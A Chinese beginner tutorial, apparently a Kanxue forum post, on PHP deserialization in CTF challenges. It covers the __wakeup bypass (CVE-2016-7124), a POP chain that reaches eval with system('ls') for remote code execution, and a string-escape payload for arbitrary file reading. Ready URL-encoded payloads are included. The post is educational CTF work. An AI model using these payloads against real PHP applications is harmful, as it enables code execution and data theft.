CTF反序列化入门学习
序列化及其反序列化
序列化是将对象状态转换为可保持或可传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。
就是将对象的状态信息写成一串字符,以便传输和保存
o: 对象
a: 数组
s: 字符串
i: 整型
序列化函数:serialize()
反序列化函数: unserialize()
o:4:"info":2:{s:4:"name";i:2:"19";}
demo:
1 2 3 4 5 6 7 8 | <?php
class test{
public $name = "f1r3K0" ;
public $age = "18" ;
}
$ class = new test();
$class_ser = serialize($ class );
print_r($class_ser);
|
O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
其中$class 对test这个类进行实例化
CTF反序列化之魔术方法
常见漏洞(CVE-2016-7124)
此漏洞发生于__wakeup这个事件型魔术方法
只要对象的属性(变量)数大于实际的个数时,__wakeup
就可以被被绕过
如:O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
改为:O:4:"test":3:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}
__wakeup就不会被执行,产生绕过效果
1 2 3 4 5 6 7 8 9 | <?php
class xctf{
public $flag = '111' ;
public function __wakeup(){
exit( "bad request" );
}
$text = new xctf();
echo(serialize($text));
?>
|
POP链
POP链的形成是由于在序列化和反序列化的过程中,事件型的魔术方法在特定的情况下被触发,达到跳转到含有漏洞的类中的目的
这里上一道例题,
ezpop
题目给了php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | <?php
class crow
{
public $v1;
public $v2;
function eval () {
echo new $this - >v1($this - >v2);
}
public function __invoke()
{
$this - >v1 - >world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this - >f1 . '114514' ;
}
public function run()
{
($this - >f1)();
}
public function __call($a, $b)
{
echo $this - >f1 - >get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this - >a - >run();
return 'hello' ;
}
}
class mix
{
public $m1;
public function run()
{
($this - >m1)();
}
public function get_flag()
{
eval ( '#' . $this - >m1);
}
}
if (isset($_POST[ 'cmd' ])) {
unserialize($_POST[ 'cmd' ]);
} else {
highlight_file(__FILE__);
}
|
可以看到有多个魔术方法,
__invoke() 当尝试以调用函数的方式调用一个对象时(把对象当函数用)
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(最后的时候)
__call() 在对象中调用一个不可访问方法时,会被调用。
__toString() 方法用于一个类被当成字符串时应怎样回应
通过魔术方法在特定情况下的自动调用来控制更多类里的函数,本题的最终目的是调用到get_flag()函数
pop链:fin->what->fin->crow->fin->mix
$a=new fin();
$a->f1=new what();
$a->f1->a=new fin();
$a->f1->a->f1=new crow();
$a->f1->a->f1->v1=new fin();
$a->f1->a->f1->v1->f1=new mix();
$a->f1->a->f1->v1->f1->m1="\n system('ls');";
echo urlencode(serialize($a));
payload:
1 | O % 3A3 % 3A % 22fin % 22 % 3A1 % 3A % 7Bs % 3A2 % 3A % 22f1 % 22 % 3BO % 3A4 % 3A % 22what % 22 % 3A1 % 3A % 7Bs % 3A1 % 3A % 22a % 22 % 3BO % 3A3 % 3A % 22fin % 22 % 3A1 % 3A % 7Bs % 3A2 % 3A % 22f1 % 22 % 3BO % 3A4 % 3A % 22crow % 22 % 3A2 % 3A % 7Bs % 3A2 % 3A % 22v1 % 22 % 3BO % 3A3 % 3A % 22fin % 22 % 3A1 % 3A % 7Bs % 3A2 % 3A % 22f1 % 22 % 3BO % 3A3 % 3A % 22mix % 22 % 3A1 % 3A % 7Bs % 3A2 % 3A % 22m1 % 22 % 3Bs % 3A17 % 3A % 22 % 0A + system % 28 % 27ls + % 2F % 27 % 29 % 3B % 22 % 3B % 7D % 7Ds % 3A2 % 3A % 22v2 % 22 % 3BN % 3B % 7D % 7D % 7D % 7D
|
最后用POST的方式传给cmd实现RCE
萌新避坑:
【1】在传递payload时使用urlencode可以避免很多问题
【2】在用hackbar传入url编码时,可能会将%0A(linux的换行符编码)自动转化为%0D%0A(window的换行符编码)所以在此慎用
CTF反序列化之字符串逃逸
从一道例题开始
[安洵杯 2019]easy_serialize_php
代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | <?php
$function = @$_GET[ 'f' ];
function filter ($img){ / / 过滤函数
$filter_arr = array( 'php' , 'flag' , 'php5' , 'php4' , 'fl1g' ); / / 过滤名单
$ filter = '/' .implode( '|' ,$filter_arr). '/i' ;
return preg_replace($ filter ,'',$img); / / 以空格代替
}
if ($_SESSION){
unset($_SESSION);
}
$_SESSION[ "user" ] = 'guest' ;
$_SESSION[ 'function' ] = $function;
extract($_POST); / / extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name = user,则为$name = user,最重要的是它会再变量冲突时覆盖前面的变量。
if (!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>' ;
}
if (!$_GET[ 'img_path' ]){
$_SESSION[ 'img' ] = base64_encode( 'guest_img.png' );
} else {
$_SESSION[ 'img' ] = sha1(base64_encode($_GET[ 'img_path' ]));
}
$serialize_info = filter (serialize($_SESSION)); / / 产生字符串逃逸
if ($function = = 'highlight_file' ){
highlight_file( 'index.php' );
} else if ($function = = 'phpinfo' ){
eval ( 'phpinfo();' ); / / maybe you can find something in here!
} else if ($function = = 'show_image' ){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo[ 'img' ]));
}
|
通过反序列化的字符串逃逸进行任意文件读取,$_SESSION["user"]
和$_SESSION['function']是可控的,但是用于读取文件的
$_SESSION['img']却是不能直接控制的,所以要通过逃逸在function中构造出img的那一部分序列化,user则用来控制逃逸的字符串的数量
具体思路:
通过user控制一个字符串的数量,目标是将function自带的那部分序列化变成user的值,使之失去影响,然后在 function中构造我们想要的function序列化以及img的序列化,使自带的img序列化失效
总结公式:13+函数名位数+函数字符长度 ";s:函数名位数:"函数字符长度";s:??:"a"
payload:
1 | _SESSION[user] = flagflagflagflagflagflag&_SESSION[function] = a ";s:8:" function ";s:5:" abcde ";s:3:" img ";s:20:" ZDBnM19mMWFnLnBocA = = ";}
|
形成的序列化:
a:3:{s:4:"user";s:24:"【";s:8:"function";s:1:"a"】;s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
【】是user的值
写在最后:来看雪发表的第一篇文章,有很多的不足之处望海涵捏
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课